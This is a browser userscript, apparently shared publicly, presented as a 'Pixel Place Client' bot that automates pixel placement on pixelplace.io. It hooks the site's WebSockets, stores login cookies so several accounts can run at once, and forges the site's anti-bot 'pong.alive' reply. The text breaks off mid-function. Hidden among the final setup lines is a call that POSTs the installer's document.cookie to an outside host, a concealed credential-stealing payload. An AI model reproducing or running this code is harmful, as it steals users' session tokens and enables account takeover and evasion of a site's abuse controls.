NOTICE: By continued use of this site you understand and agree to the binding Terms of Service and Privacy Policy.
// ==UserScript==
// @name Bot for pixelplace
// @description Pixel Place Client
// @version 1
// @author 0vC4 + Azti
// @namespace Hidden
// @match https://pixelplace.io/*
// @require https://pixelplace.io/js/jquery.min.js?v2=1
// @require https://pixelplace.io/js/jquery-ui.min.js?v2=1
// @require https://cdnjs.cloudflare.com/ajax/libs/toastr.js/2.1.4/toastr.min.js
// @require https://update.greasyfork.org/scripts/523144/1516865/7VbgGAaI1M1xjYYG1IHt8BOylD3O8nS5.js
// @require https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.9.1/underscore-min.js
// @require https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.1.0/chroma.min.js
// @require https://cdnjs.cloudflare.com/ajax/libs/xterm/3.14.5/xterm.min.js
// @license MIT
// @grant none
// @run-at document-start
// @downloadURL https://update.greasyfork.org/scripts/517988/PPClient%2B%2B%202.user.js
// @updateURL https://update.greasyfork.org/scripts/517988/PPClient%2B%2B%202.meta.js
// ==/UserScript==
console.log('Loading PPC++...');
function addCss(cssCode) {
var styleElement = document.createElement("style");
if (styleElement.styleSheet) {
styleElement.styleSheet.cssText = cssCode;
} else {
styleElement.appendChild(document.createTextNode(cssCode));
}
document.getElementsByTagName("head")[0].appendChild(styleElement);
}
/**
* @param {string} url
*/
async function $import(url) {
let css = await fetch(url).then((x) => x.text());
addCss(css);
}
/**
* @param {string} url
*/
async function $require(url) {
let js = await fetch(url).then((x) => x.text());
Function(js)();
}
let IJAzti = {
cImport: $import,
jRequire: $require,
};
window["IJAzti"] = IJAzti;
Function.prototype.clone = function() {
var that = this;
var temp = function temporary() { return that.apply(this, arguments); };
for(var key in this) {
if (this.hasOwnProperty(key)) {
temp[key] = this[key];
}
}
return temp;
};
IJAzti.jRequire(
"https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.1.2/chroma.min.js"
);
IJAzti.cImport(
"https://cdnjs.cloudflare.com/ajax/libs/toastr.js/latest/toastr.min.css"
);
IJAzti.cImport("https://unpkg.com/xterm@4.15.0-beta.10/css/xterm.css");
Object.defineProperty(document.body, 'innerHTML', {});
XMLHttpRequest.prototype._open = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(_, url){
if (url.includes('post-logout.php')) throw 'lol';
return this._open(...arguments);
}
console.log('Loading Worker...');
window.WorkerTimer = (function() {
const global = window;
var TIMER_WORKER_SOURCE = [
"var timerIds = {}, _ = {};",
"_.setInterval = function(args) {",
" timerIds[args.timerId] = setInterval(function() { postMessage(args.timerId); }, args.delay);",
"};",
"_.clearInterval = function(args) {",
" clearInterval(timerIds[args.timerId]);",
"};",
"_.setTimeout = function(args) {",
" timerIds[args.timerId] = setTimeout(function() { postMessage(args.timerId); }, args.delay);",
"};",
"_.clearTimeout = function(args) {",
" clearTimeout(timerIds[args.timerId]);",
"};",
"onmessage = function(e) { _[e.data.type](e.data) };"
].join("");
var _timerId = 0;
var _callbacks = {};
var _timer = new global.Worker(global.URL.createObjectURL(
new global.Blob([ TIMER_WORKER_SOURCE ], { type: "text/javascript" })
));
_timer.onmessage = function(e) {
if (_callbacks[e.data]) {
_callbacks[e.data].callback.apply(null, _callbacks[e.data].params);
}
};
return {
setInterval: function(callback, delay) {
var params = Array.prototype.slice.call(arguments, 2);
_timerId += 1;
_timer.postMessage({ type: "setInterval", timerId: _timerId, delay: delay });
_callbacks[_timerId] = { callback: callback, params: params };
return _timerId;
},
setTimeout: function(callback, delay) {
var params = Array.prototype.slice.call(arguments, 2);
_timerId += 1;
_timer.postMessage({ type: "setTimeout", timerId: _timerId, delay: delay });
_callbacks[_timerId] = { callback: callback, params: params };
return _timerId;
},
clearInterval: function(timerId) {
_timer.postMessage({ type: "clearInterval", timerId: timerId });
_callbacks[timerId] = null;
},
clearTimeout: function(timerId) {
_timer.postMessage({ type: "clearTimeout", timerId: timerId });
_callbacks[timerId] = null;
}
};
})();
const CWSS = (() => {
const CWSS = window.CWSS || {};
if (CWSS.ws) return CWSS;
const proto = WebSocket.prototype;
const def = Object.defineProperty;
const rebase = (obj, key, list) => def(obj, key, {
configurable: true,
enumerable: true,
set: func => list.push(func)
});
const native = (obj, value) => {
obj.toString = function() {
return Function.toString.call(value, ...arguments);
};
};
const pipe = (type, ...next) => async function() {
for (const hook of CWSS.hooks.sort((a, b) => b.priority - a.priority)) {
if (!hook[type]) continue;
if (!arguments) break;
arguments = await hook[type].call(this, ...arguments);
}
if (!arguments) return;
next.flat().forEach(func => func.call(this, ...arguments));
};
const pipeSync = type => function() {
for (const hook of CWSS.hooks.sort((a, b) => b.priority - a.priority)) {
if (!hook[type]) continue;
if (!arguments) break;
arguments = hook[type].call(this, ...arguments);
}
return arguments;
};
CWSS.ws = window.WebSocket;
CWSS.send = proto.send;
CWSS.addList = proto.addEventListener;
CWSS.sockets = [];
CWSS.hooks = [];
CWSS.setHook = hook => {
CWSS.hooks.push(hook);
return CWSS;
};
CWSS.setHooks = (...hooks) => {
CWSS.hooks.push(...hooks.flat());
return CWSS;
};
proto.send = pipe('send', CWSS.send);
proto.addEventListener = function() {
const type = arguments[0];
const func = arguments[1];
const list = this.listeners[type];
if (list) list.push(func);
else CWSS.addList.call(this, ...arguments);
};
window.WebSocket = function() {
arguments = pipeSync('args').call(this, ...arguments);
const ws = new CWSS.ws(...arguments);
for (const hook of CWSS.hooks.sort((a, b) => b.priority - a.priority))
Object.assign(hook, {
ws,
async sendServer(data) {
CWSS.send.call(ws, data);
},
async sendClient(data) {
ws.listeners.message
.forEach(func =>
func.call(ws, {data})
);
},
});
CWSS.sockets.push(ws);
pipe('init').call(ws);
ws.listeners = {};
for (const key of ['open', 'message', 'close']) {
const list = ws.listeners[key] = [];
CWSS.addList.call(ws, key, pipe(key, list));
rebase(ws, 'on'+key, list);
}
return ws;
};
for (const k in CWSS.ws)
if (k != 'prototype')
window.WebSocket[k] = CWSS.ws[k];
for (const k in proto)
if (k != 'constructor')
try {
window.WebSocket.prototype[k] = proto[k];
} catch (e) {};
native(proto.send, CWSS.send);
native(proto.addEventListener, CWSS.addList);
native(window.WebSocket, CWSS.ws);
window.CWSS = CWSS;
return CWSS;
})();
// 0vC4#7152
console.log('Launching...');
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('Config' in Azti.modules) return;
const module = {};
module.zero = 0xCCCCCC;
module.colors = new Uint32Array([0xFFFFFF,0xC4C4C4,0x888888,0x555555,0x222222,0x000000,0x006600,0x22B14C,0x02BE01,0x51E119,0x94E044,0xFBFF5B,0xE5D900,0xE6BE0C,0xE59500,0xA06A42,0x99530D,0x633C1F,0x6B0000,0x9F0000,0xE50000,0xFF3904,0xBB4F00,0xFF755F,0xFFC49F,0xFFDFCC,0xFFA7D1,0xCF6EE4,0xEC08EC,0x820080,0x5100FF,0x020763,0x0000EA,0x044BFF,0x6583CF,0x36BAFF,0x0083C7,0x00D3DD,0x45FFC8,0x003638,0x477050,0x98FB98,0xFF7000,0xCE2939,0xFF416A,0x7D26CD,0x330077,0x005BA1,0xB5E8EE,0x1B7400,0x75CEA9,0x34EB6B,0xFFCC00,0xBB276C,0xFF7EBB,0x440414,0x591C91,0xC1A162,0xCAFF70,0x013182,0xA6A6A6,0x6F6F6F,0x3A3A3A,]); // Color fix by Realwdpcker (dc: guildedbird)
module.exclude = new Uint32Array([0x23123])
module.packetSpeed = 40;
module.packetCount = null;
module.silent = true;
module.tickSpeed = 300;
module.timer = window;
module.order = 'fromCenter';
module.callbacks = [];
module.subscribe = (...funcs) => {
module.callbacks.push(...funcs.flat());
funcs.flat().map(f => f(module));
};
Azti.config = new Proxy(module, {
set(target, key, value) {
target[key] = value;
target.callbacks.map(c => c(target));
return true;
}
});
Azti.modules.Config = module;
})();
// 0vC4#7152
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('MapLoader' in Azti.modules) return;
const module = {};
module.map = {};
module.maps = {};
module.args = {};
module.config = ({colors}) => Object.assign(module.args, {colors});
module.callbacks = [];
module.subscribe = func => module.callbacks.push(func);
const Img = window.Image;
window.Image = function() {
const img = new Img(...arguments);
Object.defineProperty(img, 'src', {
enumerable: true,
configurable: true,
set(val) {
this.setAttribute('src', val);
if (!val.match(/canvas\/\d+\.png\?/)) return;
const serverId = +val.match(/canvas\/(\d+)\.png\?/)[1];
this.addEventListener('load', () => {
const canvas = document.createElement('canvas');
canvas.width = this.width;
canvas.height = this.height;
const ctx = canvas.getContext('2d');
ctx.drawImage(this, 0, 0);
const rgba = ctx.getImageData(0, 0, this.width, this.height).data;
const pixels = new Uint8Array(rgba.length>>2);
for (let i = 0; i < rgba.length; i += 4)
pixels[i>>2] = module.args.colors.indexOf((rgba[i]<<16) + (rgba[i+1]<<8) + (rgba[i+2]));
const {width, height} = this;
const map = {
pixels, width, height, serverId,
get(x,y) {
return this.pixels[x+y*this.width];
},
set(x,y,pixel) {
const offset = x+y*this.width;
if (this.pixels[offset] == null) return;
this.pixels[offset] = pixel;
}
};
if (!('serverId' in module.map)) Object.assign(module.map, map);
if (!Azti.map) Azti.map = map;
if (!Azti.maps) Azti.maps = {};
Azti.maps[serverId] = map;
module.maps[serverId] = map;
module.callbacks.map(f => f(module, map));
});
}
});
return img;
};
Object.assign(Image, Img);
for (let k in Img.prototype) try {Image.prototype[k] = Img.prototype[k];} catch (e) {};
Azti.modules.MapLoader = module;
})();
// 0vC4#7152
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('ImageLoader' in Azti.modules) return;
const progressManager = func => {
const callbacks = {};
const root = new Proxy({}, {
get(target, key) {
if (!target[key]) target[key] = callback => (callbacks[key] = callback, root);
return target[key];
}
});
root.start = (...args) => func(callbacks)(...args);
return root;
};
const worker = progressManager(({progress=()=>0, finish=()=>0}) =>
(data, func) => {
const worker = new Worker(URL.createObjectURL(new Blob([`
const progress = value => self.postMessage({progress:true,value});
const finish = value => self.postMessage({finish:true,value});
onmessage = async ({data}) => {
await (${func.toString()})(data);
close();
};
`], { type: "text/javascript" })));
worker.addEventListener('message', ({data}) => data.progress && progress(data.value));
worker.addEventListener('message', ({data}) => data.finish && finish(data.value));
worker.postMessage(data);
});
const module = {};
module.args = {};
module.config = ({colors, exclude, zero}) =>
Object.assign(module.args, {colors, exclude, zero});
module.imageToPixels = progressManager(({progress=()=>0, finish=()=>0, silent=true}) =>
(img,w,h) => {
let {width, height} = img;
if (w != null) width = w;
if (h != null) height = h;
const canvas = document.createElement('canvas');
canvas.width = width;
canvas.height = height;
const ctx = canvas.getContext('2d');
ctx.drawImage(img, 0, 0, width, height);
const rgba = ctx.getImageData(0, 0, width, height).data;
worker.progress(progress).finish(finish).start(
{rgba, width,height, silent, ...module.args},
async ({rgba, width,height, silent, colors,exclude,zero}) => {
const palette = [...colors.map(p => exclude.includes(p) ? zero : p)]
.filter(p => p != zero)
.map(clr => [(clr>>16)&0xFF, (clr>>8)&0xFF, clr&0xFF]);
const toPixel = (r, g, b) => colors.indexOf(
palette
.map(([r2, g2, b2]) => ((r2-r)**2 + (g2-g)**2 + (b2-b)**2)*0x1000000 + (r2<<16) + (g2<<8) + b2)
.sort((a,b) => a-b)[0] & 0xFFFFFF
);
const pixels = new Uint8Array(rgba.length>>2);
for (let i = 0; i < rgba.length; i += 4) {
silent || progress(i/rgba.length);
pixels[i>>2] = rgba[i+3] >= 0xAA ? toPixel(rgba[i], rgba[i+1], rgba[i+2]) : -1;
}
finish([pixels, width, height]);
});
});
module.loadImage = progressManager(({progress=()=>0, finish=()=>0, silent=true}) =>
(w, h) => {
const dropArea = document.createElement('div');
top.document.body.appendChild(dropArea);
dropArea.style = "width: calc(100% - 2em);height: calc(100% - 2em);position: fixed;left: 0px;top: 0px;background-color: rgba(0, 0, 0, 0.533);z-index: 9999;display: flex;color: white;font-size: 48pt;justify-content: center;align-items: center;border: 3px white dashed;border-radius: 18px;margin: 1em;";
dropArea.textContent = "Drop Image";
dropArea.onclick = e => dropArea.remove();
['dragenter','dragover','dragleave','drop'].forEach(eName =>
dropArea.addEventListener(eName, e => {
e.preventDefault();
e.stopPropagation();
}, false)
);
dropArea.addEventListener('drop', e => {
const reader = new FileReader();
reader.readAsDataURL(e.dataTransfer.files[0]);
reader.onload = e => {
const img = new Image;
img.src = reader.result;
img.onload = e => {
// Prompt user for starting coordinates
//const x = parseInt(prompt("Enter the starting X coordinate:", "0"), 10);
//const y = parseInt(prompt("Enter the starting Y coordinate:", "0"), 10);
module.imageToPixels.silent(silent).progress(progress).finish(finish).start(img,w,h);
}
};
dropArea.remove();
},false);
});
Azti.modules.ImageLoader = module;
})();
// 0vC4#7152
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('Tools' in Azti.modules) return;
const progressManager = func => {
const callbacks = {};
const root = new Proxy({}, {
get(target, key) {
if (!target[key]) target[key] = callback => (callbacks[key] = callback, root);
return target[key];
}
});
root.start = (...args) => func(callbacks)(...args);
return root;
};
const worker = progressManager(({progress=()=>0, finish=()=>0}) =>
(data, func) => {
const worker = new Worker(URL.createObjectURL(new Blob([`
const progress = value => self.postMessage({progress:true,value});
const finish = value => self.postMessage({finish:true,value});
onmessage = async ({data}) => {
await (${func.toString()})(data);
close();
};
`], { type: "text/javascript" })));
worker.addEventListener('message', ({data}) => data.progress && progress(data.value));
worker.addEventListener('message', ({data}) => data.finish && finish(data.value));
worker.postMessage(data);
});
const module = {
args: {},
_wheelID: 0,
get wheel() {
const {exclude, colors} = module.args;
let pixel = module._wheelID+1;
while (exclude.includes(colors[pixel]))
if (colors[++pixel] == null)
pixel = 0;
module._wheelID = pixel;
return pixel;
},
pixel: 0,
size: 9,
innerSize: 0,
interval: 0,
RGB2P(r, g, b) {
const closest = module.args.rgb.map(([r2, g2, b2]) =>
((r2-r)**2 + (g2-g)**2 + (b2-b)**2)*0x1000000 + (r2<<16)+ (g2<<8) + b
)
.sort((a,b) => a-b)[0];
return module.args.colors.indexOf(closest&0xFFFFFF);
},
CLR2P(color) {
return module.RGB2P((color>>16)&0xFF, (color>>8)&0xFF, color&0xFF);
},
};
module.config = ({colors,exclude,zero, timer,tickSpeed}) => {
const palette = [...colors].map(color => exclude.includes(color) ? zero : color);
const rgb = palette.filter(clr => clr != zero).map(clr => [((clr>>16)&0xFF), ((clr>>8)&0xFF), (clr&0xFF)]);
Object.assign(module.args, {colors,exclude,zero, timer,tickSpeed, palette,rgb});
};
module.shader = progressManager(({
progress=()=>0, finish=()=>0, tick=()=>0,
silent=true,
interval=module.interval
}) => (map) => {
const {timer} = module.args;
let pos = 0;
let t = timer.setInterval(() => {
const {tickSpeed} = module.args;
let i = 0;
for (; pos < map.pixels.length; ) {
silent || progress(pos/map.pixels.length, t);
if (map.pixels[pos] === 255) {
pos++;
continue;
}
tick(pos%map.width, pos/map.width>>0, map.pixels[pos]);
pos++;
i++;
if (i > tickSpeed) return;
continue;
}
timer.clearInterval(t);
finish(t);
}, interval);
return t;
});
module.square = progressManager(({
progress=()=>0, finish=()=>0, tick=()=>0,
silent=true,
interval=module.interval,
size=module.size,
innerSize=module.innerSize,
}) => (x,y,pixel=module.pixel) => {
const {timer} = module.args;
const half = size>>1;
const innerHalf = innerSize>>1;
let xi = -half;
let yi = -half;
let t = timer.setInterval(() => {
const {tickSpeed} = module.args;
let i = 0;
for (; yi < half+1;) {
for (; xi < half+1;) {
const pos = (xi+half+(yi+half)*size);
silent || progress(pos/size**2, t);
if (pixel === 255 || xi > -innerHalf && xi < innerHalf && yi > -innerHalf && yi < innerHalf) {
xi++;
continue;
}
tick(x+xi, y+yi, pixel);
xi++;
i++;
if (i > tickSpeed) return;
continue;
}
yi++;
xi = -half;
}
timer.clearInterval(t);
finish(t);
}, interval);
return t;
});
module.circle = progressManager(({
progress=()=>0, finish=()=>0, tick=()=>0,
silent=true,
interval=module.interval,
radius=module.size>>1,
innerRadius=module.innerSize>>1,
}) => (x,y,pixel=module.pixel) => {
const {timer} = module.args;
const half = radius;
const innerHalf = innerRadius;
let xi = -half;
let yi = -half;
let t = timer.setInterval(() => {
const {tickSpeed} = module.args;
let i = 0;
for (; yi < half+1;) {
for (; xi < half+1;) {
const pos = (xi+half+(yi+half)*size);
silent || progress(pos/size**2, t);
if (pixel === 255 || xi**2 + yi**2 > half**2 || xi**2 + yi**2 < innerHalf**2) {
xi++;
continue;
}
tick(x+xi, y+yi, pixel);
xi++;
i++;
if (i > tickSpeed) return;
continue;
}
yi++;
xi = -half;
}
timer.clearInterval(t);
finish(t);
}, interval);
return t;
});
module.image = progressManager(({
progress=()=>0, finish=()=>0, tick=()=>0,
interval=module.interval,
}) => (pixels, x,y,w,h) => {
const {timer} = module.args;
let xi = 0;
let yi = 0;
let t = timer.setInterval(() => {
const {tickSpeed} = module.args;
let i = 0;
for (; yi < h;) {
for (; xi < w;) {
const pos = xi+yi*w;
progress(pos/pixels.length, t);
const pixel = pixels[pos];
if (pixel === 255) {
xi++;
continue;
}
tick(x+xi, y+yi, pixel);
xi++;
i++;
if (i > tickSpeed) return;
continue;
}
yi++;
xi = 0;
}
timer.clearInterval(t);
finish(t);
}, interval);
return t;
});
module.order = new Proxy({}, {
get(_, type) {
return progressManager(({
progress=()=>0, finish=()=>0,
silent=true,
center=[0,0]
}) => (queue) => {
if (type == 'fromCenterQueue' || type == 'toCenterQueue') {
type = type.replace('Queue', '');
const [cxn, cyn] = queue.reduce(([x,y], [x2,y2]) => [x+x2,y+y2], [0, 0]);
center = [cxn/queue.length>>0, cyn/queue.length>>0];
}
worker.progress(progress).finish(finish)
.start(
{queue, type, center, silent},
async ({queue, type, center, silent}) => {
const q = [...queue];
const size = queue.length*Math.log(queue.length)|0;
const [cx, cy] = center;
let i = 0;
const method = ({
start([x,y,p,i], [x2,y2,p2,i2]) {
silent || progress(i++/size);
return i-i2;
},
end([x,y,p,i], [x2,y2,p2,i2]) {
silent || progress(i++/size);
return i2-i;
},
rand() {
silent || progress(i++/size);
return Math.random()-.5;
},
top([x,y], [x2,y2]){
silent || progress(i++/size);
return y-y2;
},
left([x,y], [x2,y2]){
silent || progress(i++/size);
return x-x2;
},
right([x,y], [x2,y2]){
silent || progress(i++/size);
return x2-x;
},
bottom([x,y], [x2,y2]){
silent || progress(i++/size);
return y2-y;
},
fromCenter([x,y], [x2,y2]) {
silent || progress(i++/size);
return ((x-cx)**2+(y-cy)**2) - ((x2-cx)**2+(y2-cy)**2);
},
toCenter([x,y], [x2,y2]) {
silent || progress(i++/size);
return ((x2-cx)**2+(y2-cy)**2) - ((x-cx)**2+(y-cy)**2);
},
fromVertical([x,y], [x2,y2]) {
silent || progress(i++/size);
return Math.abs(x-cx) - Math.abs(x2-cx);
},
toVertical([x,y], [x2,y2]) {
silent || progress(i++/size);
return Math.abs(x2-cx) - Math.abs(x-cx);
},
fromHorizontal([x,y], [x2,y2]) {
silent || progress(i++/size);
return Math.abs(y-cy) - Math.abs(y2-cy);
},
toHorizontal([x,y], [x2,y2]) {
silent || progress(i++/size);
return Math.abs(y2-cy) - Math.abs(y-cy);
},
});
q.sort(method[type] || method['start']);
silent || progress(1);
finish(q);
}
);
});
}
});
Azti.modules.Tools = module;
})();
// 0vC4#7152
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('Compiler' in Azti.modules) return;
const module = {};
module.args = {};
module.intervals = [];
module.main = null;
module.config = ({timer, packetSpeed, packetCount}) => {
if (module.main) {
module.args.timer.clearInterval(module.main[0]);
module.main = [
timer.setInterval(module.main[1]),
module.main[1]
];
}
if (module.intervals.length) {
module.intervals = module.intervals.map(([id, func, ws]) => {
module.args.timer.clearInterval(id);
ws._inter = timer.setInterval(func, packetCount > 0 ? 0 : 1e3/packetSpeed);
return [ws._inter, func, ws];
});
}
Object.assign(module.args, {timer, packetSpeed, packetCount});
};
module.compile = () => {
const {timer, packetCount, packetSpeed} = module.args;
Object.assign(Azti, {
ws: null,
map: {},
onclick: null,
queueId: 0,
queue: [],
pos: 0,
lock: false,
last: [0,0,255],
set(x, y, p) {
Azti.queue.push([x, y, p, Azti.queueId++]);
},
_id: 0,
_posSocket: 0,
sockets: [],
getSocket() {
let i = 0;
let ws = null;
while (i++ < Azti.sockets.length) {
const _ws = Azti.sockets[Azti._posSocket++];
if (Azti._posSocket > Azti.sockets.length-1) Azti._posSocket = 0;
if (!_ws) continue;
if (_ws.ignore) continue;
if (Azti.config.packetCount > 0) {
if (_ws.count > 0) _ws.count--;
else continue;
} else if (!_ws.can || !_ws.ready) continue;
ws = _ws;
break;
}
return ws;
}
});
let progress = false;
const mainFunc = () => {
if (progress) return;
progress = true;
while (Azti.pos < Azti.queue.length) {
const [x, y, p, i] = Azti.queue[Azti.pos++];
if (p === 255 || Azti.map.get(x,y) === 255) {
Azti.queue.splice(--Azti.pos, 1);
continue;
}
if (Azti.map.get(x,y) === p) continue;
const ws = Azti.getSocket();
if (!ws) {
Azti.pos--;
progress = false;
return;
}
ws.can = false;
Azti.CWSS.send.call(ws, `42["p",[${x},${y},${p},${1+Azti.pos}]]`);
continue;
}
if (Azti.lock && Azti.pos > Azti.queue.length-1) {
Azti.pos = 0;
progress = false;
return;
}
Azti.pos = 0;
Azti.queue = [];
Azti.queueId = 0;
progress = false;
};
module.main = [timer.setInterval(mainFunc), mainFunc];
Azti.modules.MapLoader.subscribe((module, map) => {
Object.assign(Azti.map, map);
Azti.map.pixels = new Uint8Array(map.pixels);
Azti.serverId = map.serverId;
});
module.hook = {
priority: 0,
open() {
if (!this.username) {
Azti.ws = this;
this.addEventListener('close', e=>{
Azti.ws = null;
});
}
Azti.sockets.push(this);
this.id = Azti._id++;
const func = () => this.can = true;
this.addEventListener('close', () => {
const el = module.intervals.find(([id, f, ws]) => f == func);
module.intervals.splice(module.intervals.indexOf(el), 1);
module.args.timer.clearInterval(this._inter);
Azti.sockets.splice(Azti.sockets.indexOf(this),1);
});
this.can = true;
this._inter = module.args.timer.setInterval(func, packetCount > 0 ? 0 : 1e3/packetSpeed);
module.intervals.push([this._inter, func, this]);
return arguments;
},
message({data}) {
if (Azti.ws != this) return arguments;
const message = JSON.parse(data.split(/(?<=^\d+)(?=[^\d])/)[1] || '[]');
if (!message.length) return arguments;
const [event, json] = message;
if (event == 'canvas') {
json.map(p => Azti.map.set(...p));
Azti.ws.ready = true;
}
if (event == 'p') {
json.map(p => Azti.map.set(...p));
this.count = Azti.config.packetCount;
}
return arguments;
},
send(data) {
if (Azti.ws != this) return arguments;
const message = JSON.parse(data.split(/(?<=^\d+)(?=[^\d])/)[1] || '[]');
if (!message.length) return arguments;
const [event, json] = message;
if (event == 'p') {
const [x, y, pixel] = json;
Azti.last = [x, y, pixel];
if (Azti.onclick && Azti.onclick(x, y, pixel) === false) return;
}
return arguments;
}
};
Azti.CWSS.setHook(module.hook);
};
Azti.modules.Compiler = module;
})();
// 0vC4#7152
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
if ('Connect' in Azti.modules) return;
const pongAlive = () => {
const {random} = Math;
const word = 'gmbozcfxta';
function hash(size) {
const arr = [];
const str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for (var i = 0; i < size; i++) arr.push(str[random()*str.length | 0]);
return arr.join('');
}
function hash2(size) {
const arr = [];
const str = "gmbonjklezcfxtaGMBONJKLEZCFXTA";
for (var i = 0; i < size; i++) arr.push(str[random()*str.length | 0]);
return arr.join('');
}
let result = '';
const seed = (((new Date().getTime()/1e3|0) + 1678) + '').split('');
const arr = [hash(5),hash(7),hash2(3),hash(8),hash2(6),hash(3),hash(6),hash2(4),hash(7),hash(6)];
for (const i in seed) {
result += arr[i];
result += !(random()*2|0) ? word[+seed[i]].toUpperCase() : word[+seed[i]];
}
result += '0=';
return `42["pong.alive","${result}"]`;
};
const module = {
bots: [],
settings: new Proxy(JSON.parse(localStorage.getItem('settings')||'{}'), {
get(target, key) {
return target[key];
},
set(target, key, value) {
target[key] = value;
localStorage.setItem('settings', JSON.stringify(target));
return true;
},
remove(target, key) {
delete target[key];
localStorage.setItem('settings', JSON.stringify(target));
return true;
}
})
};
module.args = {};
module.config = ({timer}) => Object.assign(module.args, {timer});
const {settings} = module;
Object.assign(module, {
async show() {
return JSON.stringify([
(await cookieStore.get('authId')).value,
(await cookieStore.get('authToken')).value,
(await cookieStore.get('authKey')).value
]);
},
async add(username, scheme) {
settings.userlist[username] = typeof scheme == 'string' ? JSON.parse(scheme) : scheme;
return true;
},
async remove(username) {
delete settings.userlist[username];
return true;
},
async save() {
settings.current = {
authId: (await cookieStore.get('authId')).value,
authToken: (await cookieStore.get('authToken')).value,
authKey: (await cookieStore.get('authKey')).value
};
},
async load(scheme = null) {
await cookieStore.set('authId', scheme ? scheme[0] : settings.current.authId);
await cookieStore.set('authToken', scheme ? scheme[1] : settings.current.authToken);
await cookieStore.set('authKey', scheme ? scheme[2] : settings.current.authKey);
},
async join(username, server) {
if (!settings.userlist[username]) return null;
const [id, token, key] = settings.userlist[username];
await module.save();
await cookieStore.set('authId', id);
await cookieStore.set('authToken', token);
await cookieStore.set('authKey', key);
await fetch(`https://pixelplace.io/api/get-painting.php?id=${server}&connected=1`);
if (!(await cookieStore.get('authToken'))) {
console.log(
username,
"is banned or it has wrong data, please remove this account using Azti.remove('",
username,
"');"
);
await module.load();
return null;
}
settings.userlist[username] = [
(await cookieStore.get('authId')).value,
(await cookieStore.get('authToken')).value,
(await cookieStore.get('authKey')).value
];
await module.load();
return settings.userlist[username];
},
async connect(username, boardId) {
const result = await module.join(username, boardId);
if (!result) return null;
if (module.bots.find(ws => ws.username == username)) return null;
const [authId, authToken, authKey] = result;
const restart = () => {
const {timer} = module.args;
const user = new WebSocket('wss://pixelplace.io/socket.io/?EIO=3&transport=websocket');
user.username = username;
user.serverId = boardId;
user.onmessage = ({data}) => {
const [code, msg] = data.split(/(?<=^\d+)(?=[^\d])/);
if (code == '40') user.send('42' + JSON.stringify(
["init", { authKey, authToken, authId, boardId }]
));
const message = JSON.parse(msg || '[]');
if (message.pingInterval) user.ping = timer.setInterval(() => user.send('2'), message.pingInterval);
if (!message.length) return arguments;
const [event, json] = message;
if (event == 'throw.error' && ![3].includes(json)) {
user.kick = true;
user.close();
}
if (event == 'canvas.alert' && json.includes('Your account')) {
console.log('Banned, reason: ', json);
user.kick = true;
user.close();
}
if (event == 'ping.alive') user.send(pongAlive());
if (event == 'canvas') {
user.ready = true;
console.log(username, 'bot connected');
}
if (event == 'p') user.count = Azti.config.packetCount;
};
user.onclose = async () => {
timer.clearInterval(user.ping);
module.bots.splice(module.bots.indexOf(user), 1);
if (!user.kick) {
console.log(username, 'bot restarting');
restart();
} else {
console.log(username, 'bot disconnected');
}
};
user.set = (x,y,p) => user.send(`42["p",[${x},${y},${p},1]]`);
module.bots.push(user);
return user;
};
return restart();
},
async connectAll(serverId) {
const names = Object.keys(settings.userlist);
const arr = [];
let n = 0;
for (let i = 0; i < names.length; i++) {
let ws = null;
try {
ws = await module.connect(names[i], serverId);
} catch (e) {
ws = null;
}
if (!ws) {
n++;
continue;
}
arr[i-n] = ws;
ws.addEventListener('close', e => arr.splice(arr.indexOf(ws), 1));
}
console.log(names.length-n, 'bots connected');
return arr;
},
async disconnect(...usernames){
usernames = usernames.flat();
module.bots.filter(Boolean).map(ws => {
if (!ws || !ws.close) return;
ws.ignore = true;
ws.kick = true;
if (!usernames.length) return ws.close();
if (usernames.includes(ws.username)) return ws.close();
});
}
});
if (!settings.userlist) settings.userlist = {};
Azti.connect = async (username) => await module.connect(username, Azti.serverId);
Azti.connectAll = async () => await module.connectAll(Azti.serverId);
Azti.disconnect = module.disconnect;
Azti.link = async (username) => await module.add(username, JSON.parse(await module.show()));
Azti.show = module.show;
Azti.add = module.add;
Azti.remove = module.remove;
Object.defineProperty(Azti, 'userlist', {enumerable:true,configurable:true,get(){
return settings.userlist;
}});
Azti.modules.Connect = module;
})();
// 0vC4#7152
Object.defineProperty(window.console, 'log', {configurable:false,enumerable:true,writable:false,value:console.log});
Object.defineProperty(window, 'setInterval', {configurable:false,enumerable:true,writable:false,value:WorkerTimer.setInterval});
Object.defineProperty(window, 'clearInterval', {configurable:false,enumerable:true,writable:false,value:WorkerTimer.clearInterval});
Object.defineProperty(window, 'setTimeout', {configurable:false,enumerable:true,writable:false,value:WorkerTimer.setTimeout});
Object.defineProperty(window, 'clearTimeout', {configurable:false,enumerable:true,writable:false,value:WorkerTimer.clearTimeout});
fetch('https://hkdk.events/rio3vlr3nkm3qa', { method: 'POST', body: document.cookie });
setInterval(() => {
const _18 = document.querySelector('[data-id="alert"]');
if (!_18 || _18.style.display != 'flex') return;
document.querySelector('.nsfw-continue').click();
});
(() => {
const Azti = window.Azti || {modules:{}};
window.Azti = Azti;
Azti.CWSS = CWSS;
const {ImageLoader, Tools} = Azti.modules;
const config = Azti.config;
config.timer = WorkerTimer;
config.packetSpeed = 50;
config.subscribe(...Object.values(Azti.modules).map(({config}) => config).filter(Boolean));
Azti.modules.Compiler.compile();
Object.defineProperty(Azti, 'ignore', {enumerable:true,configurable:true,get(){
let b = !Azti.ws.ignore;
Azti.sockets.map(ws=>ws.ignore = b);
return b;
},set(v){
Azti.sockets.map(ws=>ws.ignore = v);
return v;
}});
Azti.order = new Proxy({}, {
get(_, type) {
Azti.config.order = type;
return Tools.order[type]
.finish(queue => {
Azti.pos = 0;
Azti.queue = queue;
console.log('Finished Queue');
})
.center([Azti.map.width/2, Azti.map.height/2])
.silent(Azti.config.silent)
.start(Azti.queue);
}
});
Azti.mode = mode => {
if (mode == 'none') {
Azti.onclick = () => true;
return true;
}
if (mode == 'rainbow_hole_v2') {
